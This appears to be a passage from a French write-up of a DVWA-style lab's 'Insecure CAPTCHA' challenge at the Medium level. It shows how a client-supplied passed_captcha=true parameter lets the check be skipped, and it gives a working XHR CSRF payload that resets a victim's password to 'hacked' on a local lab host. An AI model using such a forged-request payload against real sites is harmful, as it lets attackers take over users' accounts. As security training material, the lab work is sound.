Niveau "Medium"
Il faut analyser les modifications apportées à ce niveau "Medium" :

L'étape de confirmation est toujours présente :

La première requête ne semble pas différente :

La seconde requête contient un nouveau paramètre nommé passed_captcha
qui a pour valeur true
:

Aucune difficulté pour contourner cette protection, j'adapte sensiblement ma précédente requête XHR
pouvant être utilisée pour une attaque CSRF :
var xhr = new XMLHttpRequest();
xhr.open("POST", 'http://192.168.56.203/vulnerabilities/captcha/', true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.withCredentials = true;
xhr.onreadystatechange = function() {
if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
console.log(xhr.response);
}
}
xhr.send("step=2&password_new=hacked&password_conf=hacked&passed_captcha=true&Change=Change");
Dernière mise à jour